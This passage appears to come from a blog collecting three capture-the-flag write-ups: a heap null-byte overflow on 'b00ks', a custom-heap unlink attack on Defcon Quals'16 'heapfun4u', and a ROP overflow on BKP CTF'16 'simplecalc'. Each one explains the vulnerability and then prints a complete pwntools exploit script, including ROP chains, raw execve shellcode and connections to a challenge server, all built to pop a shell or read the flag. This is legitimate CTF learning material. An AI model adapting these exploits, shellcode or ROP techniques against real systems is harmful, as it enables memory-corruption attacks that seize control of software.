It was only after I got some help, that I learned something new.

If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment. So if I request a second book whose title and description are say 0x21000 bytes, they are allocated in the aforementioned area.

And with the help of GDB, I found a pointer to the stack lying in the libc’s bss. So all that was needed was to change the name or description pointers of the second object to the address where the stack pointer was and then print it out.

So the plan went like this:

  • Leak address of object 1 using the first memory leak.
  • Allocate a second object whose name and description buffers are 0x21000 bytes.
  • Create fake chunk in object 1’s description.
  • Fake chunk’s name and description pointers point to second object.
  • Overflow null byte.
  • Using print function, print the object 1’s name and description i.e the address of chunks located in the newly mmap’d areas.
  • Using edit function on object 1, edit the description of object 1 i.e change the name and description pointers of object 2 to address of stack pointer
  • Use print function to print object 2’s name and description i.e the stack pointer.
  • Use edit function on object 1 to change the name and description of object 2 to the saved rip.
  • Use edit function on object 2 and fill stack with ROP chain.
  • Quit.

And well that worked. Here’s the script.

from pwn import *
def memleak1(p):
      p.sendline("4")
      log.info(p.recvuntil("Author:"))
      msg=p.recvline()
      log.info(p.recvuntil(">"))
      msg=msg.split("A"*32)[1].strip("\n")
      context.bits=len(msg)*8
      addr=unpack(msg)
      log.success("Leaked address of struct object : "+hex(addr))
      context.bits=64
      return addr
def memleak2(p):
      p.sendline("4")
      log.info(p.recvuntil("Name: "))
      msg=p.recvline().strip("\n")
      context.bits=len(msg)*8
      log.info(p.recv(timeout=1))
      log.success("Leaked address of allocated area "+hex(unpack(msg)))
      return unpack(msg)
def memleak3(p):
      p.sendline("4")
      log.info(p.recvuntil("2\n"))
      log.info(p.recvuntil("Name: "))
      msg=p.recvline().strip("\n")
      context.bits=len(msg)*8
      log.info(p.recv(timeout=1))
      log.success("Leaked stack pointer "+hex(unpack(msg)))
      return unpack(msg)
def change_ptr(p):
      log.progress("Changing the struct pointer")
      p.sendline("5")
      log.info(p.recvuntil(":"))
      p.sendline("A"*32)
      log.info(p.recvuntil(">"))
      p.sendline("4")
def fake_obj(p,payload,index):
      log.progress("Editing description")
      p.sendline("3")
      log.info(p.recvuntil(":"))
      p.sendline("1")
         log.info(p.recvuntil(":"))
         payload=fit({index:payload},length=index+32)
      p.sendline(payload)
def create_book(p,size):
      p.sendline("1")
      log.info(p.recvuntil(":"))
      p.sendline(str(size))
      log.info(p.recvuntil(":"))
      p.sendline("asdf")
      log.info(p.recvuntil(":"))
      p.sendline(str(size))
      log.info(p.recvuntil(":"))
      p.sendline("asdf")
      log.info(p.recvuntil(">"))
def final_edit(p,payload):
      p.sendline("3")
      log.info(p.recvuntil(":"))
      p.sendline("2")
      log.info(p.recvuntil(":"))
      p.sendline(payload)
      log.info(p.recvuntil(">"))
      p.sendline("6")
      p.interactive()

 p=process("b00ks")

 log.info(p.recvuntil(":"))
 p.sendline("A"*32)
 log.info(p.recvuntil(">"))

 create_book(p,140)

 addr=memleak1(p)+56                   #address of second object on heap

 create_book(p,135168)                 #allocate new area

 payload=pack(0x1)+pack(addr)*2+pack(0xffff) #fake obj
 fake_obj(p,payload,80)                

 change_ptr(p)                         #null overflow

 addr=memleak2(p)                 #address of stack pointer

 context.bits=64
 payload=pack(addr+141872)*2           #change desc and title of 2 to address of stack ptr.
 fake_obj(p,payload,0)                 

 addr1=memleak3(p)-40
 context.bits=64
 payload=pack(addr1)*2                 #change desc and title of 2 to saved rip
 fake_obj(p,payload,0)

 system=addr-5601744
 pop_rdi=addr-1932792
 pop_rsi=addr-5740555
 binsh=addr-4330293

 payload=pack(pop_rsi)+pack(0)+pack(pop_rdi)+pack(binsh)+pack(system)
 final_edit(p,payload)                 #ROP chain

Defcon Quals’16 heapfun4u writeup

It was my first attempt at Defcon Qualifiers. Though I couldn’t solve many, I managed to solve one and helped in solving some others.

So this particular binary is a 64 bit binary with nothing other than NX enabled. But even so, my exploit used a return to shellcode to eventually pop a shell.

The binary basically allows the user to create buffers. These buffers are placed in a new mmapped location which is surprisingly an executable area. The binary is a stripped one. And from what I could infer from first glances was that the binary creates and manages its own heap using custom malloc and free functions. So there were in-use-chunks and free-chunks. Similar to the usual heap, the chunks have their size as metadata. And two pointers are placed into free chunks which basically creates a doubly linked list of free chunks.

So my first idea was to try the old unlink method of heap exploitation. But in this case, that wouldn’t work since the free-chunks weren’t sorted according to sizes.

But there is something else that could be done. Adjacent free chunks would get coalesced only through forward consolidation. So if you had allocated 2 chunks, say ‘a’ and ‘b’ in that order, and you free them in the order ‘a’ then ‘b’, no coalescing happens. But if the freeing were to take place in the order of ‘b’ then ‘a’, then ‘a’ and ‘b’ would be merged to form a bigger chunk.

So every time you free a chunk, it checks if the next chunk is also free. If yes, then the two chunks are merged. If not, then nothing special happens. So how can this be used to exploit?

I tried decompiling which I thought would give me a clearer picture on how to move forward. But I was gravely mistaken. The pseudo-code was too difficult for me to understand. So I went on a hunch and thank goodness that hunch was right.

So if you have created 3 chunk, say A,B and C, and free the chunks A and C, then both A and C will contain two pointers each ie next and prev pointers.

So A’s prev pointer will point to something I figured must be something like the wilderness chunk. I didn’t go check that out in too much detail.

And A’s next pointer points to C. Similarily, C’s prev pointer points to A and C’s next pointer points to the wilderness chunk.

When you free B, forward consolidation occurs. B and C get merged and (this is the interesting part) A’s next pointer changes from C to B.

I found out that the last 16 bytes of any free chunk are reserved for the prev and next pointers. So, after merging, the next pointer of A has to be changed to B. I assumed this was how the changing was done. (Note that A and C are already free chunks)

((ptr+size)->prev)->next=ptr;

Where ptr is the chunk that is going to be freed. So ptr+size gives me the address of block C. (ptr+size)->prev gives me the address of A, since A and C are in a doubly linked list of free blocks. And then A’s next pointer is changed to B. So let me break it down how each next and prev are found out. The address of the block is added with the size of that block and 16 bytes is subtracted to get the prev pointer. If you subtract 8 instead of 16, you get the next pointer. So prev=ptr+size-16 and next=ptr+size-8.

Another thing we need to consider is the fact that we can edit free chunks. So we can corrupt the next and prev pointers of any free chunk.

So my idea of exploit is something like this:

  1. Allocate 3 blocks (A,B,C).
  2. Free blocks A and C.
  3. Edit block C and overwrite prev of C.
  4. Free B.

If we overwrite the prev of C with address of `saved_eip +8 – x` , where x is any value on the stack, then the changing of next of A happens as follows:

  1. The program assumes the chunk A is at address saved_eip+8-x.(say addr)
  2. It then finds the size of the current chunk by taking the value at addr.
  3. It finds the location of next by addr+size-8.

So if I can find an address on the stack which contains the x as described, I can overwrite the saved eip. But sadly there isn’t anything like that on the stack.

So another hurdle to cross. If you take a look at the menu of the program, especially at switch commands. Choosing ‘F’ allows you to enter 256 bytes! So that means, you can control the values on the stack to an extent. Problem solved.

  • First create 3 blocks A,B and C.
  • Free the first block and fill up the stack with appropriate values.
  • Free the third block.
  • Edit the third block and overwrite the prev pointer with a stack address.
  • Free the second block.

So what will happen is, the program will think A at address (say addr) in the stack. And at addr, we will have written a value (say x), so that addr+x-8 points to saved eip.

Phew!. That is halfway done. Again a small problem. The saved return address has been overwritten with the address of the chunk B. Assuming that we’ve stored our shellcode in B, we still need to get through 8 bytes of the size field to get to our shellcode.

Here I created the chunk B big enough, so that the size of the coalesced chunk becomes 0x585b. When converted to instructions, that translates to:
pop rbx;
pop rax;

And at rsp+8 you have a valid address. So after the pop rax, rax will contain a valid address. So the next 6 null bytes do not cause any trouble. And we land in our shellcode and…..
Voila! shell!.

from pwn import *

shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54"
shellcode+="\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
context.bits=64


def free(x):
    log.info(p.recvuntil("|"))
    p.sendline("F")
    log.info(p.recvuntil(":"))
    p.sendline(str(x))


def evil_free(payload):
    log.info(p.recvuntil("|"))
    p.sendline("F")
    log.info(p.recvuntil(":"))
    p.sendline(payload)


def edit(x,payload):
    log.info(p.recvuntil("|"))
    p.sendline("W")
    log.info(p.recvuntil(":"))
    p.sendline(str(x))
    log.info(p.recvuntil(":"))
    p.send(payload)


def create(size):
    log.info(p.recvuntil("|"))
    p.sendline("A")
    log.info(p.recvuntil(":"))
    p.sendline(str(size))


def leak_memory():
    log.info(p.recvuntil("|"))
    p.sendline("N")
    log.info(p.recvuntil(":"))
    msg=p.recvline()
    addr=int(msg, 16)+260
    return addr


def exit_cleanly():
    log.info(p.recvuntil("|"))
    p.sendline("E")
    log.info(p.recvline())


if __name__== "__main__":
    p=process("heapfun4u")
    log.progress("Creating four objects")
    create(50)
    create(22550)
    create(50)
    create(50)
    log.progress("Leaking memory")
    addr = leak_memory()
    log.progress("Storing shellcode in second object")
    edit(2, shellcode)
    log.progress("Freeing the first object")
    payload=fit({0: "1", 2: "\x00", 240: pack(0x38)}, filler="A", length=248)
    evil_free(payload)
    log.progress("Freeing the 3rd obj")
    free(3)
    log.progress("Editing the 3rd obj")
    payload=fit({40: pack(addr), 48: "\x00"*2}, filler="A", length=50)
    edit(3,payload)
    log.progress("Freeing the 2nd obj")
    free(2)
    exit_cleanly()
    log.success("Got shell")
    p.interactive()

And that did pop a shell! Nice.

Simplecalc BKP CTF’16 Writeup

This was my first attempt at Boston Key Party CTF and I thoroughly enjoyed the challenges. Great job admins !

Now moving on the challenge. The given binary is a 64 bit binary with NX enabled and no other protections. There are other good writeups which solve the challenge by getting a shell on the system and then printing out the flag.

For some reason I just didn’t feel like it and decided to go with an open-read-write method to print out the flag via the binary. At the beginning of the program, it asks you to enter the number of calculations that you intend to perform. This value is then left shifted by two bits (which basically multiplies the value by 4).

This value is then used to malloc a chunk on the heap. The result of the operations we choose, ie add,sub,mul or divide which is a 4 byte value is then stored in this chunk. Which means for most gadgets we need to use a combination of add and then sub in order to make the higher 4 bytes 0.

When we finally choose a save, the whole chunk is then copied onto the stack resulting in corruption of a lot of values.

  • lea rax,[rbp-0x40]
  • mov rsi,rcx
  • mov rdi,rax
  • call 0x4228d0 <memcpy>

So as you can see, anything more than 64+8=72 bytes would overwrite the saved rip.
But its not the whole story. The next 3 lines should point that out.

  • mov rax,QWORD PTR [rbp-0x10]
  • mov rdi,rax
  • call 0x4156d0 <free>

Okay, so here is our problem. The chunk that was malloc’ed in the beginning gets freed. But during the process of  our overflow, we trash the value at $rbp-0x10 which results in a segfault.

Looking through the man page of free gives you the answer you’re looking for

The free() function frees the memory space pointed to by ptr, which must have been
returned by a previous call to malloc(), calloc() or realloc(). Otherwise, or if
free(ptr) has already been called before, undefined behavior occurs. If ptr is NULL, no
operation is performed.

There you go. Problem solved. So all that was left was to write up a python script that either popped a shell or printed out the flag to me. I followed the latter but had problems trying to open “flag” or “flag.txt”. I asked the admin and he also asked me to try popping a shell. But I was too lazy to start a new script. But he did also mention that the file’s name might also be key. Thanks crowell!

So, in concluding, my intention was to read 3 bytes onto a .bss segment (read syscall) which would be the string “key” and then use that address to open up the file using an open syscall. Then exchange the file descriptor and read from it onto the .bss segment. And finally print it out.

And voila!..flag..err…I mean..key XD.

  • from pwn import *
  • payload=”123\n”
  • payload+=(“2\n256\n257\n”)*12+”2\n3556840\n3556840\n2\n3556840\n3556840\n”+(“2\n256\n257\n”)*4 #junk
  • payload+=”1\n2256282\n2256282\n2\n2256282\n2256282\n” #pop rax;ret;
  • payload+=(“2\n2256282\n2256282\n”)*2 #rax=0;
  • payload+=”1\n2100665\n2100666\n2\n2100665\n2100665\n” #pop rdi;ret
  • payload+=”2\n3556840\n3556840\n2\n3556840\n3556840\n” #rdi=0
  • payload+=”1\n2211156\n2211157\n2\n2211156\n2211156\n” #pop rsi;pop rdx;ret;
  • payload+=”2\n2211155\n2211152\n2\n2211155\n2211155\n” #rdx=3
  • payload+=”1\n3539200\n3539200\n2\n3556840\n3556840\n” #rsi=0x6c0200
  • payload+=”1\n2303090\n2303091\n2\n2303090\n2303090\n” #syscall;ret;
  • #write flag onto fixed place
  • payload+=”1\n2100665\n2100666\n2\n2100665\n2100665\n” #pop rdi ;ret
  • payload+=”1\n3539200\n3539200\n2\n3556840\n3556840\n” #rdi=0x6c0200
  • payload+=”1\n2211156\n2211157\n2\n2211156\n2211156\n” #pop rdx;pop rsi;ret
  • payload+=(“2\n2211156\n2211156\n”)*4 #rdx=0,rsi=0
  • payload+=”1\n2256282\n2256282\n2\n2256282\n2256282\n” #pop rax;ret
  • payload+=”2\n2256282\n2256280\n2\n2256282\n2256282\n” #rax=2
  • payload+=”1\n2211155\n2211156\n2\n2211155\n2211155\n” #syscall ;pop rdx;pop rsi;ret
  • #open syscall
  • payload+=”2\n2211155\n2211123\n2\n2211155\n2211155\n” #rdx=32
  • payload+=”1\n3539200\n3539200\n2\n3556840\n3556840\n” #rsi=0x6c0200
  • payload+=”1\n2450696\n2450696\n2\n2450696\n2450696\n” #xchg eax,edi
  • payload+=”1\n2256282\n2256282\n2\n2256282\n2256282\n” #pop rax;ret
  • payload+=(“2\n2256282\n2256282\n”)*2 #rax=0
  • payload+=”1\n2211155\n2211156\n2\n2211155\n2211155\n” #syscall ;pop rdx;pop rsi;ret
  • #read syscall
  • payload+=”2\n2211155\n2211113\n2\n2211155\n2211155\n” #rdx=32
  • payload+=”1\n3539200\n3539200\n2\n3556840\n3556840\n” #rsi=0x6c0200
  • payload+=”1\n2100665\n2100666\n2\n2100665\n2100665\n” #pop rdi;ret
  • payload+=”2\n3556841\n3556840\n2\n3556840\n3556840\n” #rdi=1
  • payload+=”1\n2256282\n2256282\n2\n2256282\n2256282\n” #pop rax;ret
  • payload+=”2\n2256281\n2256280\n2\n2256282\n2256282\n” #rax=1
  • payload+=”1\n2303090\n2303091\n2\n2303090\n2303090\n” #syscall;ret
  • #write syscall
  • payload+=”5\n”+”key”
  • context.binary=”simplecalc”
  • p=remote(“simplecalc.bostonkey.party”,5400)
  • p.sendline(payload)
  • print p.recvall()

key:BKPCTF{what_is_2015_minus_7547}

______________________________________________________________________
//////////////////////////////////////////////////////////////////////
———————————————————————-

After the CTF was over, I decided to give the popping the shell a try. And well, here it is. All it does is read 7 bytes ("/bin/sh") onto a fixed location in the .bss segment and use that address in an execve syscall.

  • from pwn import *
  • payload=”123\n”
  • payload+=”2\n926200088\n926200088\n2\n3422615\n3422615\n”#/bin/sh
  • payload+=(“2\n256\n257\n”)*10+”2\n3556840\n3556840\n2\n3556840\n3556840\n”+(“2\n256\n257\n”)*4#junk
  • payload+=”1\n2256282\n2256282\n2\n2256282\n2256282\n” #pop rax;ret;
  • payload+=(“2\n2256282\n2256282\n”)*2 #rax=0;
  • payload+=”1\n2100665\n2100666\n2\n2100665\n2100665\n” #pop rdi;ret
  • payload+=”2\n3556840\n3556840\n2\n3556840\n3556840\n” #rdi=0
  • payload+=”1\n2211156\n2211157\n2\n2211156\n2211156\n” #pop rdx;pop rsi;ret;
  • payload+=”2\n2211155\n2211148\n2\n2211155\n2211155\n” #rdx=7
  • payload+=”1\n3539200\n3539200\n2\n3556840\n3556840\n” #rsi=0x6c0200
  • payload+=”1\n2303090\n2303091\n2\n2303090\n2303090\n” #syscall;ret;
  • #read /bin/sh to fixed place
  • payload+=”1\n2100665\n2100666\n2\n2100665\n2100665\n” #pop rdi ;ret
  • payload+=”1\n3539200\n3539200\n2\n3556840\n3556840\n” #/bin/sh to rdi
  • payload+=”1\n2256282\n2256282\n2\n2256282\n2256282\n” #pop rax;ret
  • payload+=”2\n2256282\n2256223\n2\n2256282\n2256282\n” #rax=59
  • payload+=”1\n2211156\n2211157\n2\n2211156\n2211156\n” #pop rdx;pop rsi;ret;
  • payload+=”2\n3556840\n3556840\n2\n3556840\n3556840\n” #rdx=0
  • payload+=”2\n3556840\n3556840\n2\n3556840\n3556840\n” #rsi=0
  • payload+=”1\n2303090\n2303091\n2\n2303090\n2303090\n” #syscall;ret
  • #execve syscall
  • payload+=”5\n”+”/bin/sh”
  • p=remote(“simplecalc.bostonkey.party”,5400)
  • p.sendline(payload)
  • p.interactive()

I didn’t actually get to try out this script but I guess it should work. No reason not to.

Much smaller script right? Why didn’t I go with this one?(sigh)As long as the challenge is solved, I guess anything goes.

Happy hunting